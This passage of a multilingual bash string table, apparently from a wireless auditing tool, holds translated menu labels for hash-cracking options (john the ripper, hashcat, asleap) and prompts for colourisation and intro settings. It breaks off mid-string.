arr["RUSSIAN",546]="2. (john the ripper + crunch) Брутфорс атака против файла с хешами" arr["GREEK",546]="2. (john the ripper + crunch) Επίθεση brute force στο αρχείο hashes" arr["ITALIAN",546]="2. (john the ripper + crunch) Attacco di forza bruta sul file di hashes" arr["POLISH",546]="2. (john the ripper + crunch) Atak brute-force na plik z hashami" arr["GERMAN",546]="2. (john the ripper + crunch) Bruteforce-Angriff gegen Hashes-Datei" arr["TURKISH",546]="2. (john the ripper + crunch) Hashes dosyasına karşı bruteforce saldırısı" arr["ARABIC",546]="2. هجوم بروت فورس على ملف التجزئة (john the ripper + crunch)" arr["CHINESE",546]="2. (john the ripper + crunch) 对哈希文件进行暴力破解攻击" arr["ENGLISH",547]="John the ripper trophy file generated successfully at [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["SPANISH",547]="Fichero de trofeo john the ripper generado con éxito en [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["FRENCH",547]="Le fichier trophée john the ripper a bien été crée dans [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["CATALAN",547]="Fitxer de trofeu john the ripper generat amb èxit a [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["PORTUGUESE",547]="Arquivo de troféu john the ripper gerado com sucesso [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["RUSSIAN",547]="Трофейный файл john the ripper был успешно сгенерирован в [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["GREEK",547]="Το john the ripper αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["ITALIAN",547]="File di trofeo di john the ripper generato con successo [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["POLISH",547]="Plik trofeum john the ripper został pomyślnie wygenerowany w [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["GERMAN",547]="Trophäen-Datei-john the ripper erfolgreich in [\${normal_color}\${jtrpotenteredpath}\${blue_color}] generiert" arr["TURKISH",547]="John the ripper trophy dosyası başarıyla şurada oluşturuldu [\${normal_color}\${jtrpotenteredpath}\${blue_color}]" arr["ARABIC",547]="[\${normal_color}\${jtrpotenteredpath}\${blue_color}] بنجاح في John the ripper trophy تم إنشاء ملف" arr["CHINESE",547]="John the ripper 解密文件在 [\${normal_color}\${jtrpotenteredpath}\${blue_color}] 成功生成" arr["ENGLISH",548]="asleap CPU" arr["SPANISH",548]="asleap CPU" arr["FRENCH",548]="asleap CPU" arr["CATALAN",548]="asleap CPU" arr["PORTUGUESE",548]="asleap CPU" arr["RUSSIAN",548]="asleap CPU" arr["GREEK",548]="asleap CPU" arr["ITALIAN",548]="asleap CPU" arr["POLISH",548]="asleap CPU" arr["GERMAN",548]="asleap CPU" arr["TURKISH",548]="asleap CPU" arr["ARABIC",548]="asleap CPU" arr["CHINESE",548]="asleap CPU 破解" arr["ENGLISH",549]="6. (asleap) Challenge/response dictionary attack" arr["SPANISH",549]="6. (asleap) Ataque de diccionario challenge/response" arr["FRENCH",549]="6. (asleap) Attaque du dictionnaire défi/réponse" arr["CATALAN",549]="6. (asleap) Atac de diccionari challenge/response" arr["PORTUGUESE",549]="6. (asleap) Ataque de desafio/resposta com dicionário" arr["RUSSIAN",549]="6. (asleap) Атака по словарю на вызов/ответ" arr["GREEK",549]="6. (asleap) Επίθεση challenge/response με τη χρήση λεξικού" arr["ITALIAN",549]="6. (asleap) Attacco di dizionario challenge/response" arr["POLISH",549]="6. (asleap) Atak słownikowey challenge/odpowiedź" arr["GERMAN",549]="6. (asleap) Wörterbuch-Angriff: Herausforderung/Antwort" arr["TURKISH",549]="6. (asleap) Challenge/response sözlük saldırısı" arr["ARABIC",549]="6. Challenge/response هجوم قاموس (asleap)" arr["CHINESE",549]="6. (asleap) 挑战/响应字典攻击" arr["ENGLISH",550]="3. (hashcat) Dictionary attack against hashes file" arr["SPANISH",550]="3. (hashcat) Ataque de diccionario sobre fichero de hashes" arr["FRENCH",550]="3. (hashcat) Attaque de dictionnaire en utilisant le fichier de hashes" arr["CATALAN",550]="3. (hashcat) Atac de diccionari sobre fitxer de hashes" arr["PORTUGUESE",550]="3. (hashcat) Ataque de dicionário sobre arquivo de hashes" arr["RUSSIAN",550]="3. (hashcat) Перебор по словарю против файла с хешами" arr["GREEK",550]="3. (hashcat) Επίθεση λεξικού στο αρχείο hashes" arr["ITALIAN",550]="3. (hashcat) Attacco di dizionario sul file di hashes" arr["POLISH",550]="3. (hashcat) Atak słownikowy na plik z hashami" arr["GERMAN",550]="3. (hashcat) Wörterbuchangriff gegen Hashes-Datei" arr["TURKISH",550]="3. (hashcat) Hashes dosyasına karşı sözlük saldırısı" arr["ARABIC",550]="3. هجوم قاموسي على ملف التجزئة (hashcat)" arr["CHINESE",550]="3. (hashcat) 对哈希文件进行字典攻击" arr["ENGLISH",551]="4. (hashcat) Bruteforce attack against hashes file" arr["SPANISH",551]="4. (hashcat) Ataque de fuerza bruta sobre fichero de hashes" arr["FRENCH",551]="4. (hashcat) Attaque de force brute en utilisant le fichier de hashes" arr["CATALAN",551]="4. (hashcat) Atac de força bruta sobre fitxer de hashes" arr["PORTUGUESE",551]="4. (hashcat) Ataque de força bruta sobre arquivo de hashes" arr["RUSSIAN",551]="4. (hashcat) Брутфорс атака против файла с хешами" arr["GREEK",551]="4. (hashcat) Επίθεση brute force στο αρχείο hashes" arr["ITALIAN",551]="4. (hashcat) Attacco di forza bruta sul file di hashes" arr["POLISH",551]="4. (hashcat) Atak brute-force na plik z hashami" arr["GERMAN",551]="4. (hashcat) Bruteforce-Angriff gegen Hashes-Datei" arr["TURKISH",551]="4. (hashcat) Hashes dosyasına karşı bruteforce saldırısı" arr["ARABIC",551]="4. هجوم بروت فورس على ملف التجزئة (hashcat)" arr["CHINESE",551]="4. (hashcat) 对哈希文件进行暴力破解攻击" arr["ENGLISH",552]="5. (hashcat) Rule based attack against hashes file" arr["SPANISH",552]="5. (hashcat) Ataque de reglas sobre fichero de hashes" arr["FRENCH",552]="5. (hashcat) Attaque de règles en utilisant le fichier de hashes" arr["CATALAN",552]="5. (hashcat) Atac de regles sobre fitxer de hashes" arr["PORTUGUESE",552]="5. (hashcat) Ataque de regras sobre arquivo de hashes" arr["RUSSIAN",552]="5. (hashcat) Атака на основе правил против файла с хешами" arr["GREEK",552]="5. (hashcat) Rule based επίθεση στο αρχείο hashes" arr["ITALIAN",552]="5. (hashcat) Attacco basato su regole sul file di hashes" arr["POLISH",552]="5. (hashcat) Atak oparty na regułach na plik z hashami" arr["GERMAN",552]="5. (hashcat) Regelbasierter Angriff gegen Hashes-Datei" arr["TURKISH",552]="5. (hashcat) Hashes dosyasına karşı kural tabanlı saldırı" arr["ARABIC",552]="5. هجوم قائم على القواعد على ملف التجزئة (hashcat)" arr["CHINESE",552]="5. (hashcat) 对哈希文件进行基于规则的攻击" arr["ENGLISH",553]="Type challenge (example: 00:11:22:33:44:55:66:77):" arr["SPANISH",553]="Escribe el challenge (ejemplo: 00:11:22:33:44:55:66:77):" arr["FRENCH",553]="Veuillez introduire le défi (exemple: 00:11:22:33:44:55:66:77):" arr["CATALAN",553]="Escriu el challenge (exemple: 00:11:22:33:44:55:66:77):" arr["PORTUGUESE",553]="Escreva o desafio (exemplo: 00:11:22:33:44:55:66:77):" arr["RUSSIAN",553]="Введите вызов (пример: 00:11:22:33:44:55:66:77):" arr["GREEK",553]="Πληκτρολογήστε το challenge (παράδειγμα: 00:11:22:33:44:55:66:77):" arr["ITALIAN",553]="Scrivi il challenge (esempio: 00:11:22:33:44:55:66:77):" arr["POLISH",553]="Wpisz challenge (przykład: 00:11:22:33:44:55:66:77):" arr["GERMAN",553]="Schreiben Sie den Challenge (Beispiel: 00:11:22:33:44:55:66:77):" arr["TURKISH",553]="Challenge tipi (example: 00:11:22:33:44:55:66:77):" arr["ARABIC",553]="اكتب التحدي (مثال: 00:11:22:33:44:55:66:77):" arr["CHINESE",553]="请输入挑战值 (例如: 00:11:22:33:44:55:66:77):" arr["ENGLISH",554]="Type response (example: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["SPANISH",554]="Escribe el response (ejemplo: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["FRENCH",554]="Veuillez introduire le réponse (exemple: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["CATALAN",554]="Escriu el response (exemple: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["PORTUGUESE",554]="Escreva a resposta (exemplo: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["RUSSIAN",554]="Введите ответ (пример: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["GREEK",554]="Πληκτρολογήστε το response (παράδειγμα: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["ITALIAN",554]="Scrivi il response (esempio: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["POLISH",554]="Wpisz odpowiedź (przykład: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["GERMAN",554]="Geben Sie die Antwort ein (Beispiel: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["TURKISH",554]="Yanıt tipi (example: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["ARABIC",554]=":(00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17 :اكتب الرد (مثال" arr["CHINESE",554]="请输入响应值 (例如: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:10:11:12:13:14:15:16:17):" arr["ENGLISH",555]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${asleap_potpath}]" arr["SPANISH",555]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${asleap_potpath}]" arr["FRENCH",555]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${asleap_potpath}]" arr["CATALAN",555]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${asleap_potpath}]" arr["PORTUGUESE",555]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${asleap_potpath}]" arr["RUSSIAN",555]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${asleap_potpath}]" arr["GREEK",555]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${asleap_potpath}]" arr["ITALIAN",555]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello proposto di default \${normal_color}[\${asleap_potpath}]" arr["POLISH",555]="Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${asleap_potpath}]" arr["GERMAN",555]="Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag zu akzeptieren \${normal_color}[\${asleap_potpath}]" arr["TURKISH",555]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${asleap_potpath}]" arr["ARABIC",555]="\${normal_color}[\${asleap_potpath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على\${normal_color}" arr["CHINESE",555]="请输入文件存储的路径或按 [Enter] 接受默认建议 \${normal_color}[\${asleap_potpath}]" arr["ENGLISH",556]="4. Enable basic colorization permanently" arr["SPANISH",556]="4. Habilitar permanentemente la colorización básica" arr["FRENCH",556]="4. Activer en permanence la colorisation basique" arr["CATALAN",556]="4. Habilita permanentment la coloració bàsica" arr["PORTUGUESE",556]="4. Ativar permanentemente as cores básicas" arr["RUSSIAN",556]="4. Включить базовую окраску, в том числе после перезапуска" arr["GREEK",556]="4. Ενεργοποιήστε μόνιμα τον βασικό χρωματισμό" arr["ITALIAN",556]="4. Attivare permanentemente la colorazione basica" arr["POLISH",556]="4. Włącz na stałe podstawowe kolorowanie" arr["GERMAN",556]="4. Grundfärbung dauerhaft aktivieren" arr["TURKISH",556]="4. Temel renklendirmeyi kalıcı olarak etkinleştir" arr["ARABIC",556]="4. تفعيل التلوين الأساسي بشكل دائم" arr["CHINESE",556]="4. 永久启用基本着色" arr["ENGLISH",557]="4. Disable basic colorization permanently" arr["SPANISH",557]="4. Deshabilitar permanentemente la colorización básica" arr["FRENCH",557]="4. Désactiver la colorisation basique de en permanence" arr["CATALAN",557]="4. Deshabilita permanentment la coloració bàsica" arr["PORTUGUESE",557]="4. Desativar permanentemente as cores básicas" arr["RUSSIAN",557]="4. Отключить базовую окраску, в том числе после перезапуска" arr["GREEK",557]="4. Απενεργοποιήστε μόνιμα τον βασικό χρωματισμό" arr["ITALIAN",557]="4. Disattivare permanentemente la colorazione basica" arr["POLISH",557]="4. Wyłącz na stałe podstawowe kolorowanie" arr["GERMAN",557]="4. Grundfärbung dauerhaft deaktivieren" arr["TURKISH",557]="4. Temel renklendirmeyi kalıcı olarak devre dışı bırak" arr["ARABIC",557]="4. تعطيل التلوين الأساسي بشكل دائم" arr["CHINESE",557]="4. 永久禁用基本着色" arr["ENGLISH",558]="\${blue_color}Basic colorization is going to be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",558]="\${blue_color}Se va a desactivar la colorización básica. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",558]="\${blue_color}La colorisation basique va être désactivée. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",558]="\${blue_color}Es va a desactivar le coloració bàsica. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",558]="\${blue_color}As cores básicas serão desativas. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",558]="\${blue_color}Базовая раскраска будет отключена. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",558]="\${blue_color}Ο βασικός χρωματισμός πρόκειται να απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",558]="\${blue_color}La colorazione basica sará disattivata. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",558]="\${blue_color}Podstawowe kolorowanie zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",558]="\${blue_color}Die Grundfärbung wird deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",558]="\${blue_color}Temel renklendirme devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",558]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل التلوين الأساسي\${normal_color}" arr["CHINESE",558]="\${blue_color}基本着色将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",559]="\${blue_color}Basic colorization is going to be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",559]="\${blue_color}Se va a activar la colorización básica. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",559]="\${blue_color}La colorisation basique va être activée. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",559]="\${blue_color}Es va a activar la coloració bàsica. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",559]="\${blue_color}As cores básica serão ativas. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",559]="\${blue_color}Базовая раскраска будет включена. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",559]="\${blue_color}Ο βασικός χρωματισμός πρόκειται να ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",559]="\${blue_color}La colorazione basica sará attivata. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",559]="\${blue_color}Podstawowe kolorowanie zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",559]="\${blue_color}Die Grundfärbung wird aktiviert. \${green_color}Wollen Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",559]="\${blue_color}Temel renklendirme etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",559]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل التلوين الأساسي\${normal_color}" arr["CHINESE",559]="\${blue_color}基本着色将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",560]="Basic colorization has been disabled" arr["SPANISH",560]="Se ha deshabilitado la colorización básica" arr["FRENCH",560]="Colorisation basique désactivée" arr["CATALAN",560]="S'ha desactivat la coloració bàsica" arr["PORTUGUESE",560]="As cores básicas foram desativas" arr["RUSSIAN",560]="Базовая раскраска отключена" arr["GREEK",560]="Ο βασικός χρωματισμός απενεργοποιήθηκε" arr["ITALIAN",560]="La colorazione basica è stata disattivata" arr["POLISH",560]="Podstawowe kolorowanie zostało wyłączone" arr["GERMAN",560]="Grundfärbung wurde deaktiviert" arr["TURKISH",560]="Temel renklendirme devre dışı bırakıldı" arr["ARABIC",560]="تم تعطيل التلوين الأساسي" arr["CHINESE",560]="基本着色已被禁用" arr["ENGLISH",561]="Basic colorization has been enabled" arr["SPANISH",561]="Se ha activado la colorización básica" arr["FRENCH",561]="Colorisation basique activée" arr["CATALAN",561]="S'ha activat la coloració bàsica" arr["PORTUGUESE",561]="As cores básicas foram ativas" arr["RUSSIAN",561]="Базовая раскраска включена" arr["GREEK",561]="Ο βασικός χρωματισμός ενεργοποιήθηκε" arr["ITALIAN",561]="La colorazione basica è stata attivata" arr["POLISH",561]="Podstawowe kolorowanie zostało wyłączone" arr["GERMAN",561]="Grundfärbung wurde aktiviert" arr["TURKISH",561]="Temel renklendirme etkinleştirildi" arr["ARABIC",561]="تم تفعيل التلوين الأساسي" arr["CHINESE",561]="基本着色已被启用" arr["ENGLISH",562]="This setting will have no effect until you enable basic colorization" arr["SPANISH",562]="Esta opción no tendrá efecto hasta que no habilites la colorización básica" arr["FRENCH",562]="Cette option n'aura effet jusqu'à vous activez la colorisation basique" arr["CATALAN",562]="Aquesta opció no tindrà efecte fins que no activis la coloració bàsica" arr["PORTUGUESE",562]="Esta opção não terá efeito até que você ative as cores básicas" arr["RUSSIAN",562]="Эта настройка не будет действовать, пока вы не включите базовую окраску" arr["GREEK",562]="Αυτή η επιλογή δεν θα τεθεί σε ισχύ μέχρι να ενεργοποιήσετε τον βασικό χρωματισμό" arr["ITALIAN",562]="Questa opzione non ha effetto finché non si attiva la colorazione basica" arr["POLISH",562]="Ta opcja nie będzię miała efektu, dopóki nie włączysz podstawowego kolorowania" arr["GERMAN",562]="Diese Option wird erst wirksam, wenn Sie die grundlegende Einfärbung aktivieren" arr["TURKISH",562]="Temel renklendirmeyi etkinleştirene kadar bu seçenek geçerli olmaz" arr["ARABIC",562]="لن يكون لهذا الإعداد أي تأثير حتى تقوم بتفعيل التلوين الأساسي" arr["CHINESE",562]="在您启用基本着色之前,此设置将无效" arr["ENGLISH",563]="Basic colorization: \${pink_color}Enabled\${normal_color}" arr["SPANISH",563]="Colorización básica: \${pink_color}Activada\${normal_color}" arr["FRENCH",563]="Colorisation de basique: \${pink_color}Activée\${normal_color}" arr["CATALAN",563]="Coloració bàsica: \${pink_color}Activada\${normal_color}" arr["PORTUGUESE",563]="Cores básicas: \${pink_color}Ativa\${normal_color}" arr["RUSSIAN",563]="Базовая раскраска: \${pink_color}Включена\${normal_color}" arr["GREEK",563]="Βασικός χρωματισμός: \${pink_color}Ενεργοποιημένος\${normal_color}" arr["ITALIAN",563]="Colorazione basica: \${pink_color}Attivata\${normal_color}" arr["POLISH",563]="Podstawowe kolorowanie: \${pink_color}Włączone\${normal_color}" arr["GERMAN",563]="Grundfärbung: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",563]="Temel renklendirme: \${pink_color}Etkin\${normal_color}" arr["ARABIC",563]="\${pink_color}مفعل\${blue_color} :التلوين الأساسي\${normal_color}" arr["CHINESE",563]="基本着色: \${pink_color}启用\${normal_color}" arr["ENGLISH",564]="Basic colorization: \${pink_color}Disabled\${normal_color}" arr["SPANISH",564]="Colorización básica: \${pink_color}Desactivada\${normal_color}" arr["FRENCH",564]="Colorisation basique: \${pink_color}Désactivée\${normal_color}" arr["CATALAN",564]="Coloració bàsica: \${pink_color}Desactivada\${normal_color}" arr["PORTUGUESE",564]="Cores básicas: \${pink_color}Desativa\${normal_color}" arr["RUSSIAN",564]="Базовая раскраска: \${pink_color}Отключена\${normal_color}" arr["GREEK",564]="Βασικός χρωματισμός: \${pink_color}Απενεργοποιημένος\${normal_color}" arr["ITALIAN",564]="Colorazione basica: \${pink_color}Disattivata\${normal_color}" arr["POLISH",564]="Podstawowe kolorowanie: \${pink_color}Wyłączone\${normal_color}" arr["GERMAN",564]="Grundfärbung: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",564]="Temel renklendirme: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",564]="\${pink_color}معطل\${blue_color} :التلوين الأساسي\${normal_color}" arr["CHINESE",564]="基本着色: \${pink_color}禁用\${normal_color}" arr["ENGLISH",565]="3. Disable skip intro permanently" arr["SPANISH",565]="3. Deshabilitar permanentemente saltarse la intro" arr["FRENCH",565]="3. Désactiver en permanence pour ignorer l'intro" arr["CATALAN",565]="3. Deshabilitar permanentment ometre la intro" arr["PORTUGUESE",565]="3. Ativar permanentemente a introdução" arr["RUSSIAN",565]="3. Включить начальную заставку" arr["GREEK",565]="3. Απενεργοποιήστε μόνιμα το εισαγωγικό μήνυμα" arr["ITALIAN",565]="3. Disattiva permanentemente l'opzione skip intro" arr["POLISH",565]="3. Trwale wyłącz pominięcie wprowadzenia" arr["GERMAN",565]="3. Intro nicht überpsringen" arr["TURKISH",565]="3. Giriş introsunu kalıcı olarak devredışı bırak" arr["ARABIC",565]="3. تعطيل تخطي المقدمة بشكل دائم" arr["CHINESE",565]="3. 永久禁用跳过介绍" arr["ENGLISH",566]="3. Enable skip intro permanently" arr["SPANISH",566]="3. Habilitar permanentemente saltarse la intro" arr["FRENCH",566]="3. Activer en permanence pour ignorer l'intro" arr["CATALAN",566]="3. Habilitar permanentment ometre la intro" arr["PORTUGUESE",566]="3. Desativar permanentemente a introdução" arr["RUSSIAN",566]="3. Отключить начальную заставку" arr["GREEK",566]="3. Ενεργοποιήστε μόνιμα το εισαγωγικό μήνυμα" arr["ITALIAN",566]="3. Attivare permanentemente skip intro" arr["POLISH",566]="3. Trwale włącz pominięcie wprowadzenia" arr["GERMAN",566]="3. Intro überspringen" arr["TURKISH",566]="3. Giriş introsunu kalıcı olarak etkinleştir" arr["ARABIC",566]="3. تفعيل تخطي المقدمة بشكل دائم" arr["CHINESE",566]="3. 永久启用跳过介绍" arr["ENGLISH",567]="Skip intro: \${pink_color}Enabled\${normal_color}" arr["SPANISH",567]="Saltarse la intro: \${pink_color}Activado\${normal_color}" arr["FRENCH",567]="Ignorer l'intro: \${pink_color}Activée\${normal_color}" arr["CATALAN",567]="Ometre la introducció: \${pink_color}Activat\${normal_color}" arr["PORTUGUESE",567]="Introdução: \${pink_color}Desativa\${normal_color}" arr["RUSSIAN",567]="Пропустить начальную заставку: \${pink_color}Включено\${normal_color}" arr["GREEK",567]="Παράλειψη εισαγωγικού μηνύματος: \${pink_color}Ενεργοποιημένη\${normal_color}" arr["ITALIAN",567]="Skip intro: \${pink_color}Attivato\${normal_color}" arr["POLISH",567]="Pomiń wprowadzenie: \${pink_color}Aktywowane\${normal_color}" arr["GERMAN",567]="Intro überspringen: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",567]="Giriş introsunu geç: \${pink_color}Aktif\${normal_color}" arr["ARABIC",567]="\${pink_color}مفعل\${blue_color} :تخطي المقدمة\${normal_color}" arr["CHINESE",567]="跳过介绍: \${pink_color}启用\${normal_color}" arr["ENGLISH",568]="Skip intro: \${pink_color}Disabled\${normal_color}" arr["SPANISH",568]="Saltarse la intro: \${pink_color}Desactivado\${normal_color}" arr["FRENCH",568]="Ignorer l'intro: \${pink_color}Désactivé\${normal_color}" arr["CATALAN",568]="Ometre la introducció: \${pink_color}Desactivat\${normal_color}" arr["PORTUGUESE",568]="Introdução: \${pink_color}Ativa\${normal_color}" arr["RUSSIAN",568]="Пропустить начальную заставку: \${pink_color}Выключено\${normal_color}" arr["GREEK",568]="Παράλειψη εισαγωγικού μηνύματος: \${pink_color}Απενεργοποιημένη\${normal_color}" arr["ITALIAN",568]="Skip intro: \${pink_color}Disattivato\${normal_color}" arr["POLISH",568]="Pomiń wprowadzenie: \${pink_color}Dezaktywowane\${normal_color}" arr["GERMAN",568]="Intro überspringen: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",568]="Giriş introsunu geç: \${pink_color}DeveDışı\${normal_color}" arr["ARABIC",568]="\${pink_color}معطل\${blue_color} :تخطي المقدمة\${normal_color}" arr["CHINESE",568]="跳过介绍: \${pink_color}禁用\${normal_color}" arr["ENGLISH",569]="\${blue_color}Skip intro is going to be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",569]="\${blue_color}Se va a desactivar saltarse la intro. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",569]="\${blue_color}L'intro va être desactivée. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",569]="\${blue_color}Es va a desactivar ometre la intro. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",569]="\${blue_color}A introdução será ativada. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",569]="\${blue_color}Будет отключён пропуск начальной заставки. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",569]="\${blue_color}Η παράλειψη του εισαγωγικού μηνύματος προκειται να απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",569]="\${blue_color}Skip intro verrà disattivato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",569]="\${blue_color}Pomijanie wprowadzenia zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",569]="\${blue_color}Die Intro wird nicht überprungen werden. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",569]="İntroyu geçme devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",569]="\${normal_color}\${visual_choice} \${green_color}هل تريد المتابعة؟\${blue_color} .سيتم تعطيل تخطي المقدمة\${normal_color}" arr["CHINESE",569]="\${blue_color}跳过介绍将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",570]="\${blue_color}Skip intro is going to be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",570]="\${blue_color}Se va a activar saltarse la intro. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",570]="\${blue_color}Il s'activera pour ignorer l'intro. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",570]="\${blue_color}Es va a activar ometre la intro. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",570]="\${blue_color}A introdução será desativa. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",570]="\${blue_color}Будет включён пропуск начальной заставки. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",570]="\${blue_color}Πρόκειται να ενεργοποιηθεί η παράλειψη του εισαγωγικού μηνύματος. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",570]="\${blue_color}Skip intro verrà attivato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",570]="\${blue_color}Pomijanie wprowadzenia zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",570]="\${blue_color}Die Intro wird übersprungen werden. \${green_color} Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",570]="\${blue_color}İntroyu geçme etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",570]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل تخطي المقدمة" arr["CHINESE",570]="\${blue_color}跳过介绍将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",571]="Skip intro has been disabled" arr["SPANISH",571]="Se ha deshabilitado saltarse la intro" arr["FRENCH",571]="Ignorer l'intro a été 